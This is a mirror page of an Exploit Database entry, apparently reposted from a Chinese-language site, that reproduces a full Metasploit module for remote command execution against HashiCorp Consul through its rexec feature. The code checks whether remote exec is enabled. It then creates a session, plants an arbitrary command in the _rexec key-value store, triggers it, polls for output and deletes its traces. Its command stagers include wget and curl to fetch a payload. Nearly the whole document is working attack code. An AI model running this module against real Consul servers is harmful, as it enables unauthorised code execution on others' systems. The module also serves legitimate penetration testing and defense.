Hashicorp Consul – Remote Command Execution via Rexec (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2019-01-02
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46073/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Hashicorp Consul Remote Command Execution via Rexec",
  'Description'=> %q{
  This module exploits a feature of Hashicorp Consul named rexec.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
  'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
  'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
  ],
  'References' =>
  [
  [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
  [ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
  [ 'URL', 'https://github.com/torque59/Garfield' ]
  ],
  'Platform'=> 'linux',
  'Targets' => [ [ 'Linux', {} ] ],
  'Payload' => {},
  'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
  'Privileged' => false,
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Aug 11 2018'))
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The base path', '/']),
  OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
  OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
  OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
  Opt::RPORT(8500)
  ])
  end
  
  def check
  uri = target_uri.path
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(uri, "/v1/agent/self"),
  'headers' => {
  'X-Consul-Token' => datastore['ACL_TOKEN']
  }
  })
  unless res
  vprint_error 'Connection failed'
  return CheckCode::Unknown
  end
  begin
  agent_info = JSON.parse(res.body)
  if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false
  return CheckCode::Vulnerable
  else
  return CheckCode::Safe
  end
  rescue JSON::ParserError
  vprint_error 'Failed to parse JSON output.'
  return CheckCode::Unknown
  end
  end
  
  def execute_command(cmd, opts = {})
  uri = target_uri.path
  
  print_status('Creating session.')
  res = send_request_cgi({
  'method' => 'PUT',
  'uri' => normalize_uri(uri, 'v1/session/create'),
  'headers' => {
  'X-Consul-Token' => datastore['ACL_TOKEN']
  },
  'ctype' => 'application/json',
  'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json
  })
  
  if res and res.code == 200
  begin
  sess = JSON.parse(res.body)
  print_status("Got rexec session ID #{sess['ID']}")
  rescue JSON::ParseError
  fail_with(Failure::Unknown, 'Failed to parse JSON output.')
  end
  end
  
  print_status("Setting command for rexec session #{sess['ID']}")
  res = send_request_cgi({
  'method' => 'PUT',
  'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),
  'headers' => {
  'X-Consul-Token' => datastore['ACL_TOKEN']
  },
  'ctype' => 'application/json',
  'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json
  })
  if res and not res.code == 200 or res.body == 'false'
  fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
  end
  
  print_status("Triggering execution on rexec session #{sess['ID']}")
  res = send_request_cgi({
  'method' => 'PUT',
  'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),
  'headers' => {
  'X-Consul-Token' => datastore['ACL_TOKEN']
  },
  'ctype' => 'application/json',
  'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json
  })
  if res and not res.code == 200
  fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
  end
  
  begin
  Timeout.timeout(datastore['TIMEOUT']) do
  res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),
  'headers' => {
  'X-Consul-Token' => datastore['ACL_TOKEN']
  }
  })
  begin
  data = JSON.parse(res.body)
  break if data.include? 'out'
  rescue JSON::ParseError
  fail_with(Failure::Unknown, 'Failed to parse JSON output.')
  end
  sleep 2
  end
  rescue Timeout::Error
  # we catch this error so cleanup still happen afterwards
  print_status("Timeout hit, error with payload ?")
  end
  
  print_status("Cleaning up rexec session #{sess['ID']}")
  res = send_request_cgi({
  'method' => 'PUT',
  'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),
  'headers' => {
  'X-Consul-Token' => datastore['ACL_TOKEN']
  }
  })
  
  if res and not res.code == 200 or res.body == 'false'
  fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
  end
  
  res = send_request_cgi({
  'method' => 'DELETE',
  'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),
  'headers' => {
  'X-Consul-Token' => datastore['ACL_TOKEN']
  }
  })
  
  if res and not res.code == 200 or res.body == 'false'
  fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
  end
  end
  
  def exploit
  execute_cmdstager()
  end
  end